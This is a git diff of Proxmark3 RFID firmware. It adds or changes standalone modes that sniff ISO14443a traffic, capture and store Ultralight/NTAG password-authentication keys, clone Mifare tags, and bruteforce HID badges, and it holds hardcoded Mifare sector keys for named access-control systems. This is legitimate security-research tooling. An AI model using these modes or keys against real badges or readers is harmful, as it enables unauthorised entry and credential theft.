$(info [@] Installing fullimage to $(DESTDIR)$(PREFIX)...)
$(Q)$(MKDIR) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)
$(Q)$(CP) $(INSTALLFW) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG)
uninstall:
$(info [@] Uninstalling fullimage from $(DESTDIR)$(PREFIX)...)
$(Q)$(RM) $(DESTDIR)$(PREFIX)$(PATHSEP)$(INSTALLFWRELPATH)$(PATHSEP)$(INSTALLFWTAG)
.PHONY: all clean help install uninstall
help:
@echo Multi-OS Makefile, you are running on $(DETECTED_OS)
@echo Possible targets:
@echo + all - Build the full image $(OBJDIR)/fullimage.s19
@echo + clean - Clean $(OBJDIR)

View file

@ -0,0 +1,69 @@
# Default standalone if no standalone specified
DEFAULT_STANDALONE=LF_SAMYRUN
HELP_EXAMPLE_STANDALONE=HF_YOUNG
# (you can set explicitly STANDALONE= to disable standalone modes)
STANDALONE?=$(DEFAULT_STANDALONE)
STANDALONE_REQ_DEFS=
define KNOWN_STANDALONE_DEFINITIONS
+==========================================================+
| STANDALONE | DESCRIPTION |
+==========================================================+
| (empty) | No standalone mode |
+----------------------------------------------------------+
| LF_SAMYRUN | HID26 read/clone/sim |
| (default) | - Samy Kamkar |
+----------------------------------------------------------+
| LF_ICERUN | standalone mode skeleton |
| | - iceman |
+----------------------------------------------------------+
| LF_PROXBRUTE | HID ProxII bruteforce |
| | - Brad Antoniewicz |
+----------------------------------------------------------+
| LF_HIDBRUTE | HID corporate 1000 bruteforce |
| | - Federico dotta & Maurizio Agazzini |
+----------------------------------------------------------+
| HF_YOUNG | Mifare sniff/simulation |
| | - Craig Young |
+----------------------------------------------------------+
| HF_MATTYRUN | Mifare sniff/clone |
| | - Matías A. Ré Medina |
+----------------------------------------------------------+
| HF_COLIN | Mifare ultra fast sniff/sim/clone |
| (RDV4 only) | - Colin Brigato |
+----------------------------------------------------------+
| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth |
| (RDV4 only) | storing in flashmem - Bogito |
+----------------------------------------------------------+
| HF_14ASNIFF | 14a sniff to flashmem |
| (RDV4 only) | |
+----------------------------------------------------------+
| LF_ICEHID | LF HID collector to flashmem |
| (RDV4 only) | |
+----------------------------------------------------------+
| LF_EM4100EMUL | Simulate predefined em4100 tags only |
| | |
+----------------------------------------------------------+
| LF_EM4100RWC | Read/simulate em4100 tags & clone it |
| | to T555x tags |
+----------------------------------------------------------+
| HF_LEGIC | Read/simulate Legic Prime tags |
| | storing in flashmem |
+----------------------------------------------------------+
endef
STANDALONE_MODES := LF_SAMYRUN LF_ICERUN LF_PROXBRUTE LF_HIDBRUTE LF_ICEHID LF_EM4100EMUL LF_EM4100RWC
STANDALONE_MODES += HF_YOUNG HF_MATTYRUN HF_COLIN HF_BOG HF_14ASNIFF HF_LEGIC
STANDALONE_MODES_REQ_SMARTCARD :=
STANDALONE_MODES_REQ_FLASH := HF_COLIN HF_BOG HF_14ASNIFF LF_ICEHID
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES)),)
STANDALONE_PLATFORM_DEFS += -DWITH_STANDALONE_$(STANDALONE)
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_SMARTCARD)),)
STANDALONE_REQ_DEFS += -DWITH_SMARTCARD
endif
ifneq ($(filter $(STANDALONE),$(STANDALONE_MODES_REQ_FLASH)),)
STANDALONE_REQ_DEFS += -DWITH_FLASH
endif
else ifneq ($(STANDALONE),)
$(error Invalid STANDALONE: $(STANDALONE). $(KNOWN_DEFINITIONS))
endif

View file

@ -0,0 +1,55 @@
# Generic standalone Mode injection of source code
SRC_STANDALONE = placeholder.c
# WITH_STANDALONE_LF_ICERUN
ifneq (,$(findstring WITH_STANDALONE_LF_ICERUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icerun.c
endif
# WITH_STANDALONE_LF_SAMYRUN
ifneq (,$(findstring WITH_STANDALONE_LF_SAMYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = lf_samyrun.c
endif
# WITH_STANDALONE_LF_PROXBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_PROXBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_proxbrute.c
endif
# WITH_STANDALONE_LF_HIDBRUTE
ifneq (,$(findstring WITH_STANDALONE_LF_HIDBRUTE,$(APP_CFLAGS)))
SRC_STANDALONE = lf_hidbrute.c
endif
# WITH_STANDALONE_HF_YOUNG
ifneq (,$(findstring WITH_STANDALONE_HF_YOUNG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_young.c
endif
# WITH_STANDALONE_HF_MATTYRUN
ifneq (,$(findstring WITH_STANDALONE_HF_MATTYRUN,$(APP_CFLAGS)))
SRC_STANDALONE = hf_mattyrun.c
endif
# WITH_STANDALONE_HF_COLIN
ifneq (,$(findstring WITH_STANDALONE_HF_COLIN,$(APP_CFLAGS)))
SRC_STANDALONE = vtsend.c hf_colin.c frozen.c nprintf.c
endif
# WITH_STANDALONE_HF_BOG
ifneq (,$(findstring WITH_STANDALONE_HF_BOG,$(APP_CFLAGS)))
SRC_STANDALONE = hf_bog.c
endif
# WITH_STANDALONE_HF_14ASNIFF
ifneq (,$(findstring WITH_STANDALONE_HF_14ASNIFF,$(APP_CFLAGS)))
SRC_STANDALONE = hf_14asniff.c
endif
# WITH_STANDALONE_LF_ICEHID
ifneq (,$(findstring WITH_STANDALONE_LF_ICEHID,$(APP_CFLAGS)))
SRC_STANDALONE = lf_icehid.c
endif
# WITH_STANDALONE_LF_EM4100EMUL
ifneq (,$(findstring WITH_STANDALONE_LF_EM4100EMUL,$(APP_CFLAGS)))
SRC_STANDALONE = lf_em4100emul.c
endif
# WITH_STANDALONE_LF_EM4100RWC
ifneq (,$(findstring WITH_STANDALONE_LF_EM4100RWC,$(APP_CFLAGS)))
SRC_STANDALONE = lf_em4100rwc.c
endif
# WITH_STANDALONE_HF_LEGIC
ifneq (,$(findstring WITH_STANDALONE_HF_LEGIC,$(APP_CFLAGS)))
SRC_STANDALONE = hf_legic.c
endif

View file

@ -0,0 +1,124 @@
//-----------------------------------------------------------------------------
// Copyright 2020 Michael Farrell <micolous+git@gmail.com>
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// main code for standalone HF/iso14a Sniff to flash
//-----------------------------------------------------------------------------
/*
* `hf_14asniff` passively sniffs ISO14a frames, and stores them in internal
* flash. It requires RDV4 hardware (for flash and battery).
*
* This module is similar to hf_bog (which only logs ULC/NTAG/ULEV1 auth).
*
* On entering stand-alone mode, this module will start sniffing ISO14a frames.
* This will be stored in the normal trace buffer (ie: in RAM -- will be lost
* at power-off).
*
* Short-pressing the button again will stop sniffing, and at _this_ point
* append trace data from RAM to a file in flash (hf_14asniff.trc) and unmount.
*
* Once the data is saved, standalone mode will exit.
*
* LEDs:
* - LED1: sniffing
* - LED2: sniffed tag command, turns off when finished sniffing reader command
* - LED3: sniffed reader command, turns off when finished sniffing tag command
* - LED4: unmounting/sync'ing flash (normally < 100ms)
*
* To retrieve trace data from flash:
*
* 1. mem spiffs dump o hf_14asniff.trc f trace.trc
* Copies trace data file from flash to your PC.
*
* 2. trace load trace.trc
* Loads trace data from a file into PC-side buffers.
*
* 3. For ISO14a: trace list 14a 1
* For MIFARE Classic: trace list mf 1
*
* Lists trace data from buffer without requesting it from PM3.
*
* This module emits debug strings during normal operation -- so try it out in
* the lab connected to PM3 client before taking it into the field.
*
* To delete the trace data from flash:
*
* Caveats / notes:
* - Trace buffer will be cleared on starting stand-alone mode. Data in flash
* will remain unless explicitly deleted.
* - This module will terminate if the trace buffer is full (and save data to
* flash).
* - Like normal sniffing mode, timestamps overflow after 5 min 16 sec.
* However, the trace buffer is sequential, so will be in the correct order.
*/
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "iso14443a.h"
#include "util.h"
#include "spiffs.h"
#include "appmain.h"
#include "dbprint.h"
#include "ticks.h"
#include "BigBuf.h"
#define HF_14ASNIFF_LOGFILE "hf_14asniff.trc"
void DownloadTraceInstructions() {
Dbprintf("");
Dbprintf("To get the trace from flash and display it:");
Dbprintf("1. mem spiffs dump o "HF_14ASNIFF_LOGFILE" f trace.trc");
Dbprintf("2. trace load trace.trc");
Dbprintf("3. trace list 14a 1");
}
void ModInfo(void) {
DbpString("hf_14asniff: standalone 'hf 14a sniff', storing in flashmem");
DownloadTraceInstructions();
}
void RunMod() {
StandAloneMode();
Dbprintf("Starting standalone mode: hf_14asniff");
rdv40_spiffs_lazy_mount();
SniffIso14443a(0);
Dbprintf("Stopped sniffing");
SpinDelay(200);
// Write stuff to spiffs logfile
uint32_t trace_len = BigBuf_get_traceLen();
if (trace_len > 0) {
Dbprintf("[!] Trace length (bytes) = %u", trace_len);
uint8_t *trace_buffer = BigBuf_get_addr();
if (!exists_in_spiffs(HF_14ASNIFF_LOGFILE)) {
rdv40_spiffs_write(
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[!] Wrote trace to "HF_14ASNIFF_LOGFILE);
} else {
rdv40_spiffs_append(
HF_14ASNIFF_LOGFILE, trace_buffer, trace_len, RDV40_SPIFFS_SAFETY_SAFE);
Dbprintf("[!] Appended trace to "HF_14ASNIFF_LOGFILE);
}
} else {
Dbprintf("[!] Trace buffer is empty, nothing to write!");
}
LED_D_ON();
rdv40_spiffs_lazy_unmount();
LED_D_OFF();
SpinErr(LED_A, 200, 5);
SpinDelay(100);
LEDsoff();
SpinDelay(300);
DownloadTraceInstructions();
}

View file

@ -15,11 +15,22 @@ The retrieved sniffing session can be acquired by connecting the device
to a client that supports the reconnect capability and issue 'hf 14a list'.
In order to view the grabbed authentication attempts in the flash mem,
you can simply run 'script run read_pwd_mem' or just 'mem read l 256'
you can simply run 'script run read_pwd_mem' or just 'mem dump p l 256'
from the client to view the stored quadlets.
*/
#include "hf_bog.h"
#include "standalone.h" // standalone definitions
#include "proxmark3_arm.h"
#include "iso14443a.h"
#include "protocols.h"
#include "util.h"
#include "spiffs.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "dbprint.h"
#include "ticks.h"
#include "BigBuf.h"
#include "string.h"
#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8)
#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8)
@ -27,35 +38,7 @@ from the client to view the stored quadlets.
// Maximum number of auth attempts per standalone session
#define MAX_PWDS_PER_SESSION 64
uint8_t FindOffsetInFlash() {
uint8_t mem[4] = { 0x00, 0x00, 0x00, 0x00 };
uint8_t eom[4] = { 0xFF, 0xFF, 0xFF, 0xFF };
uint8_t memcnt = 0;
while (memcnt < 0xFF) {
Flash_ReadData(memcnt, mem, 4);
if (memcmp(mem, eom, 4) == 0) {
return memcnt;
}
memcnt += 4;
}
return 0; // wrap-around
}
void EraseMemory() {
if (!FlashInit()) {
return;
}
Flash_CheckBusy(BUSY_TIMEOUT);
Flash_WriteEnable();
Flash_Erase4k(0, 0);
if (DBGLEVEL > 1) Dbprintf("[!] Erased flash!");
FlashStop();
SpinDelay(100);
}
#define HF_BOG_LOGFILE "hf_bog.log"
// This is actually copied from SniffIso14443a
void RAMFUNC SniffAndStore(uint8_t param) {
@ -90,19 +73,20 @@ void RAMFUNC SniffAndStore(uint8_t param) {
bool ReaderIsActive = false;
// Set up the demodulator for tag -> reader responses.
DemodInit(receivedResp, receivedRespPar);
Demod14aInit(receivedResp, receivedRespPar);
// Set up the demodulator for the reader -> tag commands
UartInit(receivedCmd, receivedCmdPar);
Uart14aInit(receivedCmd, receivedCmdPar);
// Setup and start DMA.
if (!FpgaSetupSscDma((uint8_t *) dmaBuf, DMA_BUFFER_SIZE)) {
if (DBGLEVEL > 1) Dbprintf("FpgaSetupSscDma failed. Exiting");
if (!FpgaSetupSscDma((uint8_t *)dmaBuf, DMA_BUFFER_SIZE)) {
if (DBGLEVEL > 1)
Dbprintf("FpgaSetupSscDma failed. Exiting");
return;
}
tUart *uart = GetUart();
tDemod *demod = GetDemod();
tUart14a *uart = GetUart14a();
tDemod14a *demod = GetDemod14a();
// We won't start recording the frames that we acquire until we trigger;
// a good trigger condition to get started is probably when we see a
@ -134,17 +118,18 @@ void RAMFUNC SniffAndStore(uint8_t param) {
Dbprintf("[!] blew circular buffer! | datalen %u", dataLen);
break;
}
if (dataLen < 1) continue;
if (dataLen < 1)
continue;
// primary buffer was stopped( <-- we lost data!
if (!AT91C_BASE_PDC_SSC->PDC_RCR) {
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t)dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE;
//Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary
// Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary
}
// secondary buffer sets as primary, secondary buffer was stopped
if (!AT91C_BASE_PDC_SSC->PDC_RNCR) {
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t)dmaBuf;
AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE;
}
@ -159,32 +144,33 @@ void RAMFUNC SniffAndStore(uint8_t param) {
LED_C_ON();
// check - if there is a short 7bit request from reader
if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7)) triggered = true;
if ((!triggered) && (param & 0x02) && (uart->len == 1) && (uart->bitCount == 7))
triggered = true;
if (triggered) {
if ((receivedCmd) && ((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) {
if (DBGLEVEL > 1) Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2], receivedCmd[3], receivedCmd[4]);
if ((receivedCmd) &&
((receivedCmd[0] == MIFARE_ULEV1_AUTH) || (receivedCmd[0] == MIFARE_ULC_AUTH_1))) {
if (DBGLEVEL > 1)
Dbprintf("PWD-AUTH KEY: 0x%02x%02x%02x%02x", receivedCmd[1], receivedCmd[2],
receivedCmd[3], receivedCmd[4]);
// temporarily save the captured pwd in our array
memcpy(&capturedPwds[4 * auth_attempts], receivedCmd + 1, 4);
auth_attempts++;
}
if (!LogTrace(receivedCmd,
uart->len,
uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
uart->parity,
true)) break;
if (!LogTrace(receivedCmd, uart->len, uart->startTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER,
uart->endTime * 16 - DELAY_READER_AIR2ARM_AS_SNIFFER, uart->parity, true))
break;
}
/* ready to receive another command. */
UartReset();
Uart14aReset();
/* reset the demod code, which might have been */
/* false-triggered by the commands from the reader. */
DemodReset();
Demod14aReset();
LED_B_OFF();
}
ReaderIsActive = (uart->state != STATE_UNSYNCD);
ReaderIsActive = (uart->state != STATE_14A_UNSYNCD);
}
// no need to try decoding tag data if the reader is sending - and we cannot afford the time
@ -193,23 +179,21 @@ void RAMFUNC SniffAndStore(uint8_t param) {
if (ManchesterDecoding(tagdata, 0, (my_rsamples - 1) * 4)) {
LED_B_ON();
if (!LogTrace(receivedResp,
demod->len,
demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
demod->parity,
false)) break;
if (!LogTrace(receivedResp, demod->len, demod->startTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER,
demod->endTime * 16 - DELAY_TAG_AIR2ARM_AS_SNIFFER, demod->parity, false))
break;
if ((!triggered) && (param & 0x01)) triggered = true;
if ((!triggered) && (param & 0x01))
triggered = true;
// ready to receive another response.
DemodReset();
Demod14aReset();
// reset the Miller decoder including its (now outdated) input buffer
UartReset();
//UartInit(receivedCmd, receivedCmdPar);
Uart14aReset();
// UartInit(receivedCmd, receivedCmdPar);
LED_C_OFF();
}
TagIsActive = (demod->state != DEMOD_UNSYNCD);
TagIsActive = (demod->state != DEMOD_14A_UNSYNCD);
}
}
@ -228,61 +212,27 @@ void RAMFUNC SniffAndStore(uint8_t param) {
SpinDelay(200);
// Write stuff to flash
// Write stuff to spiffs logfile
if (auth_attempts > 0) {
if (DBGLEVEL > 1) Dbprintf("[!] Authentication attempts = %u", auth_attempts);
if (DBGLEVEL > 1)
Dbprintf("[!] Authentication attempts = %u", auth_attempts);
// Setting the SPI Baudrate to 48MHz to avoid the bit-flip issue (https://github.com/RfidResearchGroup/proxmark3/issues/34)
FlashmemSetSpiBaudrate(48000000);
// Find the offset in flash mem to continue writing the auth attempts
uint8_t memoffset = FindOffsetInFlash();
if (DBGLEVEL > 1) Dbprintf("[!] Memory offset = %u", memoffset);
if ((memoffset + 4 * auth_attempts) > 0xFF) {
// We opt to keep the new data only
memoffset = 0;
if (DBGLEVEL > 1) Dbprintf("[!] Size of total data > 256 bytes. Discarding the old data.");
if (!exists_in_spiffs((char *)HF_BOG_LOGFILE)) {
rdv40_spiffs_write((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE);
} else {
rdv40_spiffs_append((char *)HF_BOG_LOGFILE, capturedPwds, 4 * auth_attempts, RDV40_SPIFFS_SAFETY_SAFE);
}
// Get previous data from flash mem
uint8_t *previousdata = BigBuf_malloc(memoffset);
if (memoffset > 0) {
uint16_t readlen = Flash_ReadData(0, previousdata, memoffset);
if (DBGLEVEL > 1) Dbprintf("[!] Read %u bytes from flash mem", readlen);
}
// create new bigbuf to hold all data
size_t total_size = memoffset + 4 * auth_attempts;
uint8_t *total_data = BigBuf_malloc(total_size);
// Add the previousdata array into total_data array
memcpy(total_data, previousdata, memoffset);
// Copy bytes of capturedPwds immediately following bytes of previousdata
memcpy(total_data + memoffset, capturedPwds, 4 * auth_attempts);
// Erase first page of flash mem
EraseMemory();
// Write total data to flash mem
uint16_t writelen = Flash_WriteData(0, total_data, memoffset + 4 * auth_attempts);
if (DBGLEVEL > 1) Dbprintf("[!] Wrote %u bytes into flash mem", writelen);
// If pwd saved successfully, blink led A three times
if (writelen > 0) {
SpinErr(0, 200, 5); // blink led A
}
SpinDelay(100);
// Reset the SPI Baudrate to the default value (24MHz)
FlashmemSetSpiBaudrate(24000000);
}
if (DBGLEVEL > 1)
Dbprintf("[!] Wrote %u Authentification attempts into logfile", auth_attempts);
SpinErr(LED_A, 200, 5);
SpinDelay(100);
}
void ModInfo(void) {
DbpString(" HF 14a sniff standalone with ULC/ULEV1/NTAG auth storing in flashmem - aka BogitoRun (Bogito)");
DbpString(" HF 14a sniff standalone with ULC/ULEV1/NTAG auth storing in flashmem - aka BogitoRun (Bogito)");
}
void RunMod() {
@ -299,5 +249,5 @@ void RunMod() {
LEDsoff();
SpinDelay(300);
Dbprintf("- [ End ] -> You can take shell back ...");
Dbprintf("- [ ! ] -> use 'script run read_pwd_mem' to print passwords");
Dbprintf("- [ ! ] -> use 'script run read_pwd_mem_spiffs' to print passwords");
}

View file

@ -1,26 +0,0 @@
//-----------------------------------------------------------------------------
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
// at your option, any later version. See the LICENSE.txt file for the text of
// the license.
//-----------------------------------------------------------------------------
// StandAlone Mod
//-----------------------------------------------------------------------------
#ifndef __HF_BOG_H
#define __HF_BOG_H
#include "proxmark3.h"
#include "mifareutil.h"
#include "iso14443a.h"
#include "protocols.h"
#include "util.h"
#include "standalone.h" // standalone definitions
#include <stdbool.h> // for bool
#include <stdio.h>
#include <string.h>
#include "apps.h"
#include "printf.h"
#include "parity.h"
#endif /* __HF_BOG_H */

View file

@ -1,5 +1,5 @@
//-----------------------------------------------------------------------------
// Colin Brigato, 2016, 2017
// Colin Brigato, 2016, 2017, 2018, 2019
// Christian Herrmann, 2017
//
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
@ -8,11 +8,78 @@
//-----------------------------------------------------------------------------
// main code for HF Mifare aka ColinRun by Colin Brigato
//-----------------------------------------------------------------------------
#include "standalone.h" // standalone definitions
#include "hf_colin.h"
#include "proxmark3_arm.h"
#include "appmain.h"
#include "fpgaloader.h"
#include "dbprint.h"
#include "ticks.h"
#include "util.h"
#include "commonutil.h"
#include "BigBuf.h"
#include "iso14443a.h"
#include "mifareutil.h"
#include "mifaresim.h"
#include "vtsend.h"
#include "spiffs.h"
#include "frozen.h"
#define MF1KSZ 1024
#define MF1KSZSIZE 64
#define AUTHENTICATION_TIMEOUT 848
#define HFCOLIN_LASTTAG_SYMLINK "hf_colin/lasttag.bin"
#define HFCOLIN_SCHEMAS_JSON "hf_colin/schemas.json"
/* Example jsonconfig file schemas.json : (array !)
[{
"name": "UrmetCaptive",
"trigger": "0x8829da9daf76",
"keysA": [
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76"
],
"keysB": [
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76",
"0x8829da9daf76"
]
},{
"name": "Noralsy",
...
]
*/
uint8_t cjuid[10];
uint32_t cjcuid;
@ -26,40 +93,128 @@ int curlline;
// Colin's VIGIKPWN sniff/simulate/clone repeat routine for HF Mifare
/*
void cjPrintBigArray(const char *bigar, int len, uint8_t newlines, uint8_t debug)
{
uint32_t chunksize = (PM3_CMD_DATA_SIZE / 4);
uint8_t totalchunks = len / chunksize;
uint8_t last_chunksize = len - (totalchunks * chunksize);
char chunk[chunksize + 1];
memset(chunk, 0x00, sizeof(chunk));
if (debug > 0)
{
Dbprintf("len : %d", len);
Dbprintf("chunksize : %d bytes", chunksize);
Dbprintf("totalchunks : %d", totalchunks);
Dbprintf("last_chunksize: %d", last_chunksize);
}
for (uint8_t i = 0; i < totalchunks; i++)
{
memset(chunk, 0x00, sizeof(chunk));
memcpy(chunk, &bigar[i * chunksize], chunksize);
DbprintfEx(FLAG_RAWPRINT, "%s", chunk);
}
if (last_chunksize > 0)
{
memset(chunk, 0x00, sizeof(chunk));
memcpy(chunk, &bigar[totalchunks * chunksize], last_chunksize);
DbprintfEx(FLAG_RAWPRINT, "%s", chunk);
}
if (newlines > 0)
{
DbprintfEx(FLAG_NEWLINE, " ");
static const uint8_t is_hex[] = {
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 0, 0, 0, 0, 0, 0,
0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 11, 12, 13, 14, 15, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
};
static inline uint64_t hex2i(const char *s) {
uint64_t val = 0;
if (s == NULL || s[0] == 0)
return 0;
if (s[1] == 'x')
s += 2;
else if (*s == 'x')
s++;
while (is_hex[(uint8_t)*s])
val = (val << 4) | (is_hex[(uint8_t) * (s++)] - 1);
return val;
}
/*char *noralsy2test =
"{\"name\":\"noralsy2\",\"trigger\":\"0x414C41524F4E\",\"keysA\":[\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\","
"\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\",\"0x414C41524F4E\","
"\"0x414C41524F4E\"],\"keysB\":["
"\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\","
"\"0x424C41524F4E\",\"0x424C41524F4E\"]}";*/
/*char *urmetcaptive2test =
"{\"name\":\"urmetcaptive2\",\"trigger\":\"0x8829da9daf76\",\"keysA\":[\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\"],\"keysB\":["
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\","
"\"0x8829da9daf76\",\"0x8829da9daf76\"]}";*/
typedef struct MFC1KSchema {
uint8_t name[32];
uint64_t trigger;
uint64_t keysA[16];
uint64_t keysB[16];
} MFC1KSchema;
#define MAX_SCHEMAS 4
static void scan_keys(const char *str, int len, uint64_t *user_data) {
struct json_token t;
int i;
char ks[32];
for (i = 0; json_scanf_array_elem(str, len, "", i, &t) > 0; i++) {
sprintf(ks, "%.*s", t.len, t.ptr);
user_data[i] = hex2i(ks);
}
}
MFC1KSchema Schemas[MAX_SCHEMAS];
/*MFC1KSchema Noralsy = {
.name = "Noralsy",
.trigger = 0x414c41524f4e,
.keysA = {0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e,
0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e,
0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e, 0x414c41524f4e},
.keysB = {0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e,
0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e,
0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e, 0x424c41524f4e}};
MFC1KSchema InfiHexact = {.name = "Infineon/Hexact",
.trigger = 0x484558414354,
.keysA = {0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354, 0x484558414354,
0x484558414354},
.keysB = {0xa22ae129c013, 0x49fae4e3849f, 0x38fcf33072e0, 0x8ad5517b4b18, 0x509359f131b1,
0x6c78928e1317, 0xaa0720018738, 0xa6cac2886412, 0x62d0c424ed8e, 0xe64a986a5d94,
0x8fa1d601d0a2, 0x89347350bd36, 0x66d2b7dc39ef, 0x6bc1e1ae547d, 0x22729a9bd40f}};
*/
/*MFC1KSchema UrmetCaptive = {
.name = "Urmet Captive",
.trigger = 0x8829da9daf76,
.keysA = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76},
.keysB = {0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76, 0x8829da9daf76,
